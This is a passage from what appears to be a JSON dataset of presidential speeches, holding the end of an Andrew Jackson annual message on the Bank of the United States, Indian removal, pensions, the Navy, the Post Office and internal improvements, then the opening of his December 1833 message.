defense.\nThis measure resorted to by the bank is disorganizing and\nrevolutionary, and if generally resorted to by private citizens in like\ncases would fill the land with anarchy and violence.It is a constitutional provision \"that no money shall be drawn from the\nTreasury but in consequence of appropriations made by law\". The\npalpable object of this provision is to prevent the expenditure of the\npublic money for any purpose what so ever which shall not have been 1st\napproved by the representatives of the people and the States in\nCongress assembled. It vests the power of declaring for what purposes\nthe public money shall be expended in the legislative department of the\nGovernment, to the exclusion of the executive and judicial, and it is\nnot within the constitutional authority of either of those departments\nto pay it away without law or to sanction its payment.According to this plain constitutional provision, the claim of the bank\ncan never be paid without an appropriation by act of Congress. But the\nbank has never asked for an appropriation. It attempts to defeat the\nprovision of the Constitution and obtain payment without an act of\nCongress. Instead of awaiting an appropriation passed by both Houses\nand approved by the President, it makes an appropriation for itself and\ninvites an appeal to the judiciary to sanction it. That the money had\nnot technically been paid into the Treasury does not affect the\nprinciple intended to be established by the Constitution.The Executive and the judiciary have as little right to appropriate and\nexpend the public money without authority of law before it is placed to\nthe credit of the Treasury as to take it from the Treasury. In the\nannual report of the Secretary of the Treasury, and in his\ncorrespondence with the president of the bank, and the opinions of the\nAttorney General accompanying it, you will find a further examination\nof the claims of the bank and the course it has pursued.It seems due to the safety of the people funds remaining in that bank\nand to the honor of the American people that measures be taken to\nseparate the Government entirely from an institution so mischievous to\nthe public prosperity and so regardless of the Constitution and laws.\nBy transferring the public deposits, by appointing other pension agents\nas far as it had the power, by ordering the discontinuance of the\nreceipt of bank checks in the payment of the public dues after January\n1st, 1834, the Executive has exerted all its lawful authority to sever\nthe connection between the Government and this faithless corporation.The high-handed career of this institution imposes upon the\nconstitutional functionaries of this Government duties of the gravest\nand most imperative character--duties which they can not avoid and from\nwhich I trust there will be no inclination on the part of any of them\nto shrink. My own sense of them is most clear, as is also my readiness\nto discharge those which may rightfully fall on me. To continue any\nbusiness relations with the Bank of the United States that may be\navoided without a violation of the national faith after that\ninstitution has set at open defiance the conceded right of the\nGovernment to examine its affairs, after it has done all in its power\nto deride the public authority in other respects and to bring it into\ndisrepute at home and abroad, after it has attempted to defeat the\nclearly expressed will of the people by turning against them the\nimmense power intrusted to its hands and by involving a country\notherwise peaceful, flourishing, and happy, in dissension,\nembarrassment, and distress, would make the nation itself a party to\nthe degradation so sedulously prepared for its public agents and do\nmuch to destroy the confidence of man-kind in popular governments and\nto bring into contempt their authority and efficiency.In guarding against an evil of such magnitude consideration of\ntemporary convenience should be thrown out of the question, and we\nshould be influenced by such motives only as look to the honor and\npreservation of the republican system. Deeply and solemnly impressed\nwith the justice of these views, I feel it to be my duty to recommend\nto you that a law be passed authorizing the sale of the public stock;\nthat the provision of the charter requiring the receipt of notes of the\nbank in payment of public dues shall, in accordance with the power\nreserved to Congress in the 14th section of the charter, be suspended\nuntil the bank pays to the Treasury the dividends withheld, and that\nall laws connecting the Government or its officers with the bank,\ndirectly or indirectly, be repealed, and that the institution be left\nhereafter to its own resources and means.Events have satisfied my mind, and I think the minds of the American\npeople, that the mischiefs and dangers which flow from a national bank\nfar over-balance all its advantages. The bold effort the present bank\nhas made to control the Government, the distresses it has wantonly\nproduced, the violence of which it has been the occasion in one of our\ncities famed for its observance of law and order, are but premonitions\nof the fate which awaits the American people should they be deluded\ninto a perpetuation of this institution or the establishment of another\nlike it. It is fervently hoped that thus admonished those who have\nheretofore favored the establishment of a substitute for the present\nbank will be induced to abandon it, as it is evidently better to incur\nany inconvenience that may be reasonably expected than to concentrate\nthe whole moneyed power of the Republic in any form what so ever or\nunder any restrictions.Happily it is already illustrated that the agency of such an\ninstitution is not necessary to the fiscal operations of the\nGovernment. The State banks are found fully adequate to the performance\nof all services which were required of the Bank of the United States,\nquite as promptly and with the same cheapness. They have maintained\nthemselves and discharged all these duties while the Bank of the United\nStates was still powerful and in the field as an open enemy, and it is\nnot possible to conceive that they will find greater difficulties in\ntheir operations when that enemy shall cease to exist.The attention of Congress is earnestly invited to the regulation of the\ndeposits in the State banks by law. Although the power now exercised by\nthe executive department in this behalf is only such as was uniformly\nexerted through every Administration from the origin of the Government\nup to the establishment of the present bank, yet it is one which is\nsusceptible of regulation by law, and therefore ought so to be\nregulated. The power of Congress to direct in what places the Treasurer\nshall keep the moneys in the Treasury and to impose restrictions upon\nthe Executive authority in relation to their custody and removal is\nunlimited, and its exercise will rather be courted than discouraged by\nthose public officers and agents on whom rests the responsibility for\ntheir safety. It is desirable that as little power as possible should\nbe left to the President or the Secretary of the Treasury over those\ninstitutions, which, being thus freed from Executive influence, and\nwithout a common head to direct their operations, would have neither\nthe temptation nor the ability to interfere in the political conflicts\nof the country. Not deriving their charters from the national\nauthorities, they would never have those inducements to meddle in\ngeneral elections which have led the Bank of the United States to\nagitate and convulse the country for upward of two years.The progress of our gold coinage is creditable to the officers of the\nMint, and promises in a short period to furnish the country with a\nsound and portable currency, which will much diminish the inconvenience\nto travelers of the want of a general paper currency should the State\nbanks be incapable of furnishing it. Those institutions have already\nshown themselves competent to purchase and furnish domestic exchange\nfor the convenience of trade at reasonable rates, and not a doubt is\nentertained that in a short period all the wants of the country in bank\naccommodations and exchange will be supplied as promptly and as cheaply\nas they have heretofore been by the Bank of the United States. If the\nseveral States shall be induced gradually to reform their banking\nsystems and prohibit the issue of all small notes, we shall in a few\nyears have a currency as sound and as little liable to fluctuations as\nany other commercial country.The report of the Secretary of War, together with the accompanying\ndocuments from the several bureaux of that Department, will exhibit the\nsituation of the various objects committed to its administration.No event has occurred since your last session rendering necessary any\nmovements of the Army, with the exception of the expedition of the\nregiment of dragoons into the territory of the wandering and predatory\ntribes inhabiting the western frontier and living adjacent to the\nMexican boundary. These tribes have been heretofore known to us\nprincipally by their attacks upon our own citizens and upon other\nIndians entitled to the protection of the United States. It became\nnecessary for the peace of the frontiers to check these habitual\ninroads, and I am happy to inform you that the object has been effected\nwithout the commission of any act of hostility. Colonel Dodge and the\ntroops under his command have acted with equal firmness and humanity,\nand an arrangement has been made with those Indians which it is hoped\nwill assure their permanent pacific relations with the United States\nand the other tribes of Indians upon that border. It is to be regretted\nthat the prevalence of sickness in that quarter has deprived the\ncountry of a number of valuable lives, and particularly that General\nLeavenworth, an officer well known, and esteemed for his gallant\nservices in the late war and for his subsequent good conduct, has\nfallen a victim to his zeal and exertions in the discharge of his duty.The Army is in a high state of discipline. Its moral condition, so far\nas that is known here, is good, and the various branches of the public\nservice are carefully attended to. It is amply sufficient under its\npresent organization for providing the necessary garrisons for the\nseaboard and for the defense of the internal frontier, and also for\npreserving the elements of military knowledge and for keeping pace with\nthose improvements which modern experience is continually making. And\nthese objects appear to me to embrace all the legitimate purposes for\nwhich a permanent military force should be maintained in our country.\nThe lessons of history teach us its danger and the tendency which\nexists to an increase. This can be best met and averted by a just\ncaution on the part of the public itself, and of those who represent\nthem in Congress.From the duties which devolve on the Engineer Department and upon the\ntopographical engineers, a different organization seems to be demanded\nby the public interest, and I recommend the subject to your\nconsideration.No important change has during this season taken place in the condition\nof the Indians. Arrangements are in progress for the removal of the\nCreeks, and will soon be for the removal of the Seminoles. I regret\nthat the Cherokees east of the Mississippi have not yet determined as a\ncommunity to remove. How long the personal causes which have heretofore\nretarded that ultimately inevitable measure will continue to operate I\nam unable to conjecture. It is certain, however, that delay will bring\nwith it accumulated evils which will render their condition more and\nmore unpleasant. The experience of every year adds to the conviction\nthat emigration, and that alone, can preserve from destruction the\nremnant of the tribes yet living amongst us. The facility with which\nthe necessaries of life are procured and the treaty stipulations\nproviding aid for the emigrant Indians in their agricultural pursuits\nand in the important concern of education, and their removal from those\ncauses which have heretofore depressed all and destroyed many of the\ntribes, can not fail to stimulate their exertions and to reward their\nindustry.The two laws passed at the last session of Congress on the subject of\nIndian affairs have been carried into effect, and detailed instructions\nfor their administration have been given. It will be seen by the\nestimates for the present session that a great reduction will take\nplace in the expenditures of the Department in consequence of these\nlaws, and there is reason to believe that their operation will be\nsalutary and that the colonization of the Indians on the western\nfrontier, together with a judicious system of administration, will\nstill further reduce the expenses of this branch of the public service\nand at the same time promote its usefulness and efficiency.Circumstances have been recently developed showing the existence of\nextensive frauds under the various laws granting pensions and\ngratuities for Revolutionary services. It is impossible to estimate the\namount which may have been thus fraudulently obtained from the National\nTreasury. I am satisfied, however, it has been such as to justify a\nre-examination of the system and the adoption of the necessary checks\nin its administration. All will agree that the services and sufferings\nof the remnant of our Revolutionary band should be fully compensated;\nbut while this is done, every proper precaution should be taken to\nprevent the admission of fabricated and fraudulent claims.In the present mode of proceeding the attestations and certificates of\nthe judicial officers of the various States from a considerable portion\nof the checks which are interposed against the commission of frauds.\nThese, however, have been and may be fabricated, and in such a way as\nto elude detection at the examining offices. And independently of this\npractical difficulty, it is ascertained that these documents are often\nloosely granted; some times even blank certificates have been issued;\nsome times prepared papers have been signed without inquiry, and in one\ninstance, at least, the seal of the court has been within reach of a\nperson most interested in its improper application. It is obvious that\nunder such circumstances no severity of administration can check the\nabuse of the law. And information has from time to time been\ncommunicated to the Pension Office questioning or denying the right of\npersons placed upon the pension list to the bounty of the country.Such cautions are always attended to and examined, but a far more\ngeneral investigation is called for, and I therefore recommend, in\nconformity with the suggestion of the Secretary of War, that an actual\ninspection should be made in each State into the circumstances and\nclaims of every person now drawing a pension. The honest veteran has\nnothing to fear from such a scrutiny, while the fraudulent claimant\nwill be detected and the public Treasury relieved to an amount, I have\nreason to believe, far greater than has heretofore been suspected. The\ndetails of such a plan could be so regulated as to interpose the\nnecessary checks without any burdensome operation upon the pensioners.\nThe object should be two-fold: To look into the original justice of the\nclaims, so far as this can be done under a proper system of\nregulations, by an examination of the claimants themselves and by\ninquiring in the vicinity of their residence into their history and\ninto the opinion entertained of their Revolutionary services. To\nascertain in all cases whether the original claimant is living and this\nby actual personal inspection. This measure will, if adopted, be\nproductive, I think, of the desired results, and I therefore recommend\nit to your consideration, with the further suggestion that all payments\nshould be suspended 'til the necessary reports are received.It will be seen by a tabular statement annexed to the documents\ntransmitted to Congress that the appropriations for objects connected\nwith the War Department, made at the last session, for the service of\nthe year 1834, excluding the permanent appropriation for the payment of\nmilitary gratuities under the act of June 7th, 1832, the appropriation\nof $200,000 for arming and equipping the militia, and the appropriation\nof $10,000 for the civilization of the Indians, which are not annually\nrenewed, amounted to the sum of $9,003,261, and that the estimates of\nappropriations necessary for the same branches of service for the year\n1835 amount to the sum of $5,778,964, making a difference in the\nappropriations of the current year over the estimates of the\nappropriations for the next of $3,224,297.The principal causes which have operated at this time to produce this\ngreat difference are shown in the reports and documents and in the\ndetailed estimates. Some of these causes are accidental and temporary,\nwhile others are permanent, and, aided by a just course of\nadministration, may continue to operate beneficially upon the public\nexpenditures.A just economy, expending where the public service requires and\nwithholding where it does not, is among the indispensable duties of the\nGovernment.I refer you to the accompanying report of the Secretary of the Navy and\nto the documents with it for a full view of the operations of that\nimportant branch of our service during the present year. It will be\nseen that the wisdom and liberality with which Congress has provided\nfor the gradual increase of our navy material have been seconded by a\ncorresponding zeal and fidelity on the part of those to whom has been\nconfided the execution of the laws on the subject, and that but a short\nperiod would be now required to put in commission a force large enough\nfor any exigency into which the country may be thrown.When we reflect upon our position in relation to other nations, it must\nbe apparent that in the event of conflicts with them we must look\nchiefly to our Navy for the protection of our national rights. The wide\nseas which separate us from other Governments must of necessity be the\ntheater on which an enemy will aim to assail us, and unless we are\nprepared to meet him on this element we can not be said to possess the\npower requisite to repel or prevent aggressions. We can not, therefore,\nwatch with too much attention this arm of our defense, or cherish with\ntoo much care the means by which it can possess the necessary\nefficiency and extension. To this end our policy has been heretofore\nwisely directed to the constant employment of a force sufficient to\nguard our commerce, and to the rapid accumulation of the materials\nwhich are necessary to repair our vessels and construct with ease such\nnew ones as may be required in a state of war.In accordance with this policy, I recommend to your consideration the\nerection of the additional dry dock described by the Secretary of the\nNavy, and also the construction of the steam batteries to which he has\nreferred, for the purpose of testing their efficacy as auxiliaries to\nthe system of defense now in use.The report of the Post Master General herewith submitted exhibits the\ncondition and prospects of that Department. From that document it\nappears that there was a deficit in the funds of the Department at the\ncommencement of the present year beyond its available means of\n$315,599.98, which on the first of July last had been reduced to\n$268,092.74. It appears also that the revenues for the coming year will\nexceed the expenditures about $270,000, which, with the excess of\nrevenue which will result from the operations of the current half year,\nmay be expected, independently of any increase in the gross amount of\npostages, to supply the entire deficit before the end of 1835. But as\nthis calculation is based on the gross amount of postages which had\naccrued within the period embraced by the times of striking the\nbalances, it is obvious that without a progressive increase in the\namount of postages the existing retrenchments must be persevered in\nthrough the year 1836 that the Department may accumulate a surplus fund\nsufficient to place it in a condition of perfect ease.It will be observed that the revenues of the Post Office Department,\nthough they have increased, and their amount is above that of any\nformer year, have yet fallen short of the estimates more than $100,000.\nThis is attributed in a great degree to the increase of free letters\ngrowing out of the extension and abuse of the franking privilege. There\nhas been a gradual increase in the number of executive offices to which\nit has been granted, and by an act passed in March, 1833, it was\nextended to members of Congress throughout the whole year. It is\nbelieved that a revision of the laws relative to the franking\nprivilege, with some enactments to enforce more rigidly the\nrestrictions under which it is granted, would operate beneficially to\nthe country, by enabling the Department at an earlier period to restore\nthe mail facilities that have been withdrawn, and to extend them more\nwidely, as the growing settlements of the country may require.To a measure so important to the Government and so just to our\nconstituents, who ask no exclusive privileges for themselves and are\nnot willing to concede them to others, I earnestly recommend the\nserious attention of Congress.The importance of the Post Office Department and the magnitude to which\nit has grown, both in its revenues and in its operations, seem to\ndemand its reorganization by law. The whole of its receipts and\ndisbursements have hitherto been left entirely to Executive control and\nindividual discretion. The principle is as sound in relation to this as\nto any other Department of the Government, that as little discretion\nshould be confided to the executive officer who controls it as is\ncompatible with its efficiency. It is therefore earnestly recommended\nthat it be organized with an auditor and treasurer of its own,\nappointed by the President and Senate, who shall be branches of the\nTreasury Department.Your attention is again respectfully invited to the defect which exists\nin the judicial system of the United States. Nothing can be more\ndesirable than the uniform operation of the Federal judiciary\nthroughout the several States, all of which, standing on the same\nfooting as members of the Union, have equal rights to the advantages\nand benefits resulting from its laws. This object is not attained by\nthe judicial acts now in force, because they leave one quarter of the\nStates without circuit courts.It is undoubtedly the duty of Congress to place all the States on the\nsame footing in this respect, either by the creation of an additional\nnumber of associate judges or by an enlargement of the circuits\nassigned to those already appointed so as to include the new States.\nWhat ever may be the difficulty in a proper organization of the\njudicial system so as to secure its efficiency and uniformity in all\nparts of the Union and at the same time to avoid such an increase of\njudges as would encumber the supreme appellate tribunal, it should not\nbe allowed to weigh against the great injustice which the present\noperation of the system produces.I trust that I may be also pardoned for renewing the recommendation I\nhave so often submitted to your attention in regard to the mode of\nelecting the President and Vice President of the United States. All the\nreflection I have been able to bestow upon the subject increases my\nconviction that the best interests of the country will be promoted by\nthe adoption of some plan which will secure in all contingencies that\nimportant right of sovereignty to the direct control of the people.\nCould this be attained, and the terms of those officers be limited to a\nsingle period of either four or six years, I think our liberties would\npossess an additional safeguard.At your last session I called the attention of Congress to the\ndestruction of the public building occupied by the Treasury Department.\nAs the public interest requires that another building should be erected\nwith as little delay as possible, it is hoped that the means will be\nseasonably provided and that they will be ample enough to authorize\nsuch an enlargement and improvement in the plan of the building as will\nmore effectually accommodate the public officers and secure the public\ndocuments deposited in it from the casualties of fire.I have not been able to satisfy myself that the bill entitled \"An act\nto improve the navigation of the Wabash River\", which was sent to me at\nthe close of your last session, ought to pass, and I have therefore\nwithheld from it my approval and now return it to the Senate, the body\nin which it originated.There can be no question connected with the administration of public\naffairs more important or more difficult to be satisfactorily dealt\nwith than that which relates to the rightful authority and proper\naction of the Federal Government upon the subject of internal\nimprovements. To inherent embarrassments have been added others\nresulting from the course of our legislation concerning it.I have heretofore communicated freely with Congress upon this subject,\nand in adverting to it again I can not refrain from expressing my\nincreased conviction of its extreme importance as well in regard to its\nbearing upon the maintenance of the Constitution and the prudent\nmanagement of the public revenue as on account of its disturbing effect\nupon the harmony of the Union.We are in no danger from violations of the Constitution by which\nencroachments are made upon the personal rights of the citizen. The\nsentence of condemnation long since pronounced by the American people\nupon acts of that character will, I doubt not, continue to prove as\nsalutary in its effects as it is irreversible in its nature.But against the dangers of unconstitutional acts which, instead of\nmenacing the vengeance of offended authority, proffer local advantages\nand bring in their train the patronage of the Government, we are, I\nfear, not so safe. To suppose that because our Government has been\ninstituted for the benefit of the people it must therefore have the\npower to do what ever may seem to conduce to the public good is an\nerror into which even honest minds are too apt to fall. In yielding\nthemselves to this fallacy they overlook the great considerations in\nwhich the Federal Constitution was founded. They forget that in\nconsequence of the conceded diversities in the interest and condition\nof the different States it was foreseen at the period of its adoption\nthat although a particular measure of the Government might be\nbeneficial and proper in one State it might be the reverse in another;\nthat it was for this reason the States would not consent to make a\ngrant to the Federal Government of the general and usual powers of\ngovernment, but of such only as were specifically enumerated, and the\nprobable effects of which they could, as they thought, safely\nanticipate; and they forget also the paramount obligation upon all to\nabide by the compact then so solemnly and, as it was hoped, so firmly\nestablished.In addition to the dangers to the Constitution springing from the\nsources I have stated, there has been one which was perhaps greater\nthan all. I allude to the materials which this subject has afforded for\nsinister appeals to selfish feelings, and the opinion heretofore so\nextensively entertained of its adaptation to the purposes of personal\nambition. With such stimulus it is not surprising that the acts and\npretensions of the Federal Government in this behalf should some times\nhave been carried to an alarming extent. The questions which have\narisen upon this subject have related--To the power of making internal\nimprovements within the limits of a State, with the right of\nterritorial jurisdiction, sufficient at least for their preservation\nand use. To the right of appropriating money in aid of such works when\ncarried on by a State of by a company in virtue of State authority,\nsurrendering the claim of jurisdiction; and To the propriety of\nappropriation for improvements of a particular class, viz, for light\nhouses, beacons, buoys, public piers, and for the removal of sand bars,\nsawyers, and other temporary and partial impediments in our navigable\nrivers and harbors. The claims of power for the General Government upon\neach of these points certainly present matter of the deepest interest.\nThe first is, however, of much the greatest importance, in as much as,\nin addition to the dangers of unequal and improvident expenditures of\npublic moneys common to all, there is super-added to that the\nconflicting jurisdictions of the respective governments. Federal\njurisdiction, at least to the extent I have stated, has been justly\nregarded by its advocates as necessarily appurtenant to the power in\nquestion, if that exists by the Constitution.That the most injurious conflicts would unavoidably arise between the\nrespective jurisdictions of the State and Federal Governments in the\nabsence of a constitutional provision marking out their respective\nboundaries can not be doubted. The local advantages to be obtained\nwould induce the States to overlook in the beginning the dangers and\ndifficulties to which they might ultimately be exposed. The powers\nexercised by the Federal Government would soon be regarded with\njealousy by the State authorities, and originating as they must from\nimplication or assumption, it would be impossible to affix to them\ncertain and safe limits.Opportunities and temptations to the assumption of power incompatible\nwith State sovereignty would be increased and those barriers which\nresist the tendency of our system toward consolidation greatly\nweakened. The officers and agents of the General Government might not\nalways have the discretion to abstain from intermeddling with State\nconcerns, and if they did they would not always escape the suspicion of\nhaving done so. Collisions and consequent irritations would spring up;\nthat harmony which should ever exist between the General Government and\neach member of the Confederacy would be frequently interrupted; a\nspirit of contention would be engendered and the dangers of disunion\ngreatly multiplied.Yet we know that not withstanding these grave objections this dangerous\ndoctrine was at one time apparently proceeding to its final\nestablishment with fearful rapidity. The desire to embark the Federal\nGovernment in works of internal improvement prevailed in the highest\ndegree during the first session of the first Congress that I had the\nhonor to meet in my present situation. When the bill authorizing a\nsubscription on the part of the United States for stock in the\nMaysville and Lexington Turn Pike Company passed the two houses, there\nhad been reported by the Committees of Internal Improvements bills\ncontaining appropriations for such objects, inclusive of those for the\nCumberland road and for harbors and light houses, to the amount of\n$106,000,000. In this amount was included authority to the Secretary of\nthe Treasury to subscribe for the stock of different companies to a\ngreat extent, and the residue was principally for the direct\nconstruction of roads by this Government. In addition to these\nprojects, which had been presented to the two Houses under the sanction\nand recommendation of their respective Committees on Internal\nImprovements, there were then still pending before the committees, and\nin memorials to Congress presented but not referred, different projects\nfor works of a similar character, the expense of which can not be\nestimated with certainty, but must have exceeded $100,000,000.Regarding the bill authorizing a subscription to the stock of the\nMaysville and Lexington Turn Pike Company as the entering wedge of a\nsystem which, however weak at first, might soon become strong enough to\nrive the bands of the Union asunder, and believing that if its passage\nwas acquiesced in by the Executive and the people there would no longer\nbe any limitation upon the authority of the General Government in\nrespect to the appropriation of money for such objects, I deemed it an\nimperative duty to withhold from it the Executive approval.Although from the obviously local character of that work I might well\nhave contented myself with a refusal to approve the bill upon that\nground, yet sensible of the vital importance of the subject, and\nanxious that my views and opinions in regard to the whole matter should\nbe fully understood by Congress and by my constituents, I felt it my\nduty to go further. I therefore embraced that early occasion to apprise\nCongress that in my opinion the Constitution did not confer upon it the\npower to authorize the construction of ordinary roads and canals within\nthe limits of a State and to say, respectfully, that no bill admitting\nsuch a power could receive my official sanction. I did so in the\nconfident expectation that the speedy settlement of the public mind\nupon the whole subject would be greatly facilitated by the difference\nbetween the two Houses and myself, and that the harmonious action of\nthe several departments of the Federal Government in regard to it would\nbe ultimately secured.So far, at least, as it regards this branch of the subject, my best\nhopes have been realized. Nearly four years have elapsed, and several\nsessions of Congress have intervened, and no attempt within my\nrecollection has been made to induce Congress to exercise this power.\nThe applications for the construction of roads and canals which were\nformerly multiplied upon your files are no longer presented, and we\nhave good reason to infer that the current public sentiment has become\nso decided against the pretension as effectually to discourage its\nreassertion. So thinking, I derive the greatest satisfaction from the\nconviction that thus much at least has been secured upon this important\nand embarrassing subject.From attempts to appropriate the national funds to objects which are\nconfessedly of a local character we can not, I trust, have anything\nfurther to apprehend. My views in regard to the expediency of making\nappropriations for works which are claimed to be of a national\ncharacter and prosecuted under State authority--assuming that Congress\nhave the right to do so--were stated in my annual message to Congress\nin 1830, and also in that containing my objections to the Maysville\nroad bill.So thoroughly convinced am I that no such appropriations ought to be\nmade by Congress until a suitable constitutional provision is made upon\nthe subject, and so essential do I regard the point to the highest\ninterests of our country, that I could not consider myself as\ndischarging my duty to my constituents in giving the Executive sanction\nto any bill containing such an appropriation. If the people of the\nUnited States desire that the public Treasury shall be resorted to for\nthe means to prosecute such works, they will concur in an amendment of\nthe Constitution prescribing a rule by which the national character of\nthe works is to be tested, and by which the greatest practicable\nequality of benefits may be secured to each member of the Confederacy.\nThe effects of such a regulation would be most salutary in preventing\nunprofitable expenditures, in securing our legislation from the\npernicious consequences of a scramble for the favors of Government, and\nin repressing the spirit of discontent which must inevitably arise from\nan unequal distribution of treasures which belong alike to all.There is another class of appropriations for what may be called,\nwithout impropriety, internal improvements, which have always been\nregarded as standing upon different grounds from those to which I have\nreferred. I allude to such as have for their object the improvement of\nour harbors, the removal of partial and temporary obstructions in our\nnavigable rivers, for the facility and security of our foreign\ncommerce. The grounds upon which I distinguished appropriations of this\ncharacter from others have already been stated to Congress. I will now\nonly add that at the 1st session of Congress under the new Constitution\nit was provided by law that all expenses which should accrue from and\nafter the 15th day of August, 1789, in the necessary support and\nmaintenance and repairs of all light houses, beacons, buoys, and public\npiers erected, placed, or sunk before the passage of the act within any\nbay, inlet, harbor, or port of the United States, for rendering the\nnavigation thereof easy and safe, should be defrayed out of the\nTreasury of the United States, and, further, that it should be the duty\nof the Secretary of the Treasury to provide by contracts, with the\napprobation of the President, for rebuilding when necessary and keeping\nin good repair the light houses, beacons, buoys, and public piers in\nthe several States, and for furnishing them with supplies.Appropriations for similar objects have been continued from that time\nto the present without interruption or dispute. As a natural\nconsequence of the increase and extension of our foreign commerce,\nports of entry and delivery have been multiplied and established, not\nonly upon our sea-board but in the interior of the country upon our\nlakes and navigable rivers. The convenience and safety of this commerce\nhave led to the gradual extension of these expenditures; to the\nerection of light houses, the placing, planting, and sinking of buoys,\nbeacons, and piers, and to the removal of partial and temporary\nobstructions in our navigable rivers and in the harbors upon our Great\nLakes as well as on the sea-board.Although I have expressed to Congress my apprehension that these\nexpenditures have some times been extravagant and disproportionate to\nthe advantages to be derived from them, I have not felt it to be my\nduty to refuse my assent to bills containing them, and have contented\nmyself to follow in this respect in the foot-steps of all my\npredecessors. Sensible, however, from experience and observation of the\ngreat abuses to which the unrestricted exercise of this authority by\nCongress was exposed, I have prescribed a limitation for the government\nof my own conduct by which expenditures of this character are confined\nto places below the ports of entry or delivery established by law. I am\nvery sensible that this restriction is not as satisfactory as could be\ndesired, and that much embarrassment may be caused to the executive\ndepartment in its execution by appropriations for remote and not\nwell-understood objects. But as neither my own reflections nor the\nlights which I may properly derive from other sources have supplied me\nwith a better, I shall continue to apply my best exertions to a\nfaithful application of the rule upon which it is founded.I sincerely regret that I could not give my assent to the bill\nentitled: \"An act to improve the navigation of the Wabash River\"; but I\ncould not have done so without receding from the ground which I have,\nupon the fullest consideration, taken upon this subject, and of which\nCongress has been heretofore apprised, and without throwing the subject\nagain open to abuses which no good citizen entertaining my opinions\ncould desire.I rely upon the intelligence and candor of my fellow citizens, in whose\nliberal indulgence I have already so largely participated, for a\ncorrect appreciation on my motives in interposing as I have done on\nthis and other occasions checks to a course of legislation which,\nwithout in the slightest degree calling in question the motives of\nothers, I consider as sanctioning improper and unconstitutional\nexpenditures of public treasure.I am not hostile to internal improvements, and wish to see them\nextended to every part of the country. But I am fully persuaded, if\nthey are not commenced in a proper manner, confined to proper objects,\nand conducted under an authority generally conceded to be rightful,\nthat a successful prosecution of them can not be reasonably expected.\nThe attempt will meet with resistance where it might otherwise receive\nsupport, and instead of strengthening the bonds of our Confederacy it\nwill only multiply and aggravate the causes of disunion.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 3, 1833", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:On your assembling to perform the high trusts which the people of the\nUnited States have confided to you, of legislating for their common\nwelfare, it gives me pleasure to congratulate you upon the happy\ncondition of our beloved country. By the favor of Divine Providence\nhealth is again restored to us, peace reigns within our borders,\nabundance crowns the labors of our fields, commerce and domestic\nindustry flourish and increase, and individual happiness rewards the\nprivate virtue and enterprise of our citizens.Our condition abroad is no less honorable than it is prosperous at\nhome. Seeking nothing that is not right and determined to submit to\nnothing that is wrong, but desiring honest friendships and liberal\nintercourse with all nations, the United States have gained throughout\nthe world the confidence and respect which are due to a policy so just\nand so congenial to the character of the American people and to the\nspirit of their institutions.In bringing to your notice the particular state of our foreign affairs,\nit affords me high gratification to inform you that they are in a\ncondition which promises the continuance of friendship with all\nnations.With Great Britain the interesting question of our North East boundary\nremains still undecided. A negotiation, however, upon that subject has\nbeen renewed since the close of the last Congress, and a proposition\nhas been submitted to the British Government with the view of\nestablishing, in conformity with the resolution of the Senate, the line\ndesignated by the treaty of 1783. Though no definitive answer has been\nreceived, it may be daily looked for, and I entertain a hope that the\noverture may ultimately lead to a satisfactory adjustment of this\nimportant matter.I have the satisfaction to inform you that a negotiation which, by\ndesire of the House of Representatives, was opened some years ago with\nthe British Government, for the erection of light houses on the\nBahamas, has been successful. Those works, when completed, together\nwith those which the United States have constructed on the western side\nof the Gulf of Florida, will contribute essentially to the safety of\nnavigation in that sea. This joint participation in establishments\ninteresting to humanity and beneficial to commerce is worthy of two\nenlightened nations, and indicates feelings which can not fail to have\na happy influence upon their political relations. It is gratifying to\nthe friends of both to perceive that the intercourse between the two\npeople is becoming daily more extensive, and that sentiments of mutual\ngood will have grown up befitting their common origin and justifying\nthe hope that by wise counsels on each side not only unsettled\nquestions may be satisfactorily terminated, but new causes of\nmisunderstanding prevented.Not withstanding that I continue to receive the most amicable\nassurances from the Government of France, and that in all other\nrespects the most friendly relations exist between the United States\nand that Government, it is to be regretted that the stipulations of the\nconvention concluded on July 4th, 1831 remain in some important parts\nunfulfilled.By the second article of that convention it was stipulated that the sum\npayable to the United States should be paid at Paris, in six annual\ninstallments, into the hands of such person or persons as should be\nauthorized by the Government of the United States to receive it, and by\nthe same article the first installment was payable on February 2d,\n1833. By the act of Congress of July 13th, 1832 it was made the duty of\nthe Secretary of the Treasury to cause the several installments, with\nthe interest thereon, to be received from the French Government and\ntransferred to the United States in such manner as he may deem best;\nand by the same act of Congress the stipulations on the part of the\nUnited States in the convention were in all respects fulfilled. Not\ndoubting that a treaty thus made and ratified by the two Governments,\nand faithfully executed by the United States, would be promptly\ncomplied with by the other party, and desiring to avoid the risk and\nexpense of intermediate agencies, the Secretary of the Treasury deemed\nit advisable to receive and transfer the first installment by means of\na draft upon the French minister of finance.A draft for this purpose was accordingly drawn in favor of the cashier\nof the Bank of the United States for the amount accruing to the United\nStates out of the first installment, and the interest payable with it.\nThis bill was not drawn at Washington until five days after the\ninstallment was payable at Paris, and was accompanied by a special\nauthority from the President authorizing the cashier or his assigns to\nreceive the amount. The mode thus adopted of receiving the installment\nwas officially made known to the French Government by the American\ncharge d'affaires at Paris, pursuant to instructions from the\nDepartment of State. The bill, however, though not presented for\npayment until March 23d, 1833, was not paid, and for the reason\nassigned by the French minister of finance that no appropriation had\nbeen made by the French Chambers. It is not known to me that up to that\nperiod any appropriation had been required of the Chambers, and\nalthough a communication was subsequently made to the Chambers by\ndirection of the King, recommending that the necessary provision should\nbe made for carrying the convention into effect, it was at an advanced\nperiod of the session, and the subject was finally postponed until the\nnext meeting of the Chambers.Not withstanding it has been supposed by the French ministry that the\nfinancial stipulations of the treaty can not be carried into effect\nwithout an appropriation by the Chambers, it appears to me to be not\nonly consistent with the character of France, but due to the character\nof both Governments, as well as to the rights of our citizens, to treat\nthe convention, made and ratified in proper form, as pledging the good\nfaith of the French Government for its execution, and as imposing upon\neach department an obligation to fulfill it; and I have received\nassurances through our charge d'affaires at Paris and the French\nminister plenipotentiary at Washington, and more recently through the\nminister of the United States at Paris, that the delay has not\nproceeded from any indisposition on the part of the King and his\nministers to fulfill their treaty, and that measures will be presented\nat the next meeting of the Chambers, and with a reasonable hope of\nsuccess, to obtain the necessary appropriation.It is necessary to state, however, that the documents, except certain\nlists of vessels captured, condemned, or burnt at sea, proper to\nfacilitate the examination and liquidation of the reclamations\ncomprised in the stipulations of the convention, and which by the 6th\narticle France engaged to communicate to the United States by the\nintermediary of the legation, though repeatedly applied for by the\nAmerican charge d'affaires under instructions from this Government,\nhave not yet been communicated; and this 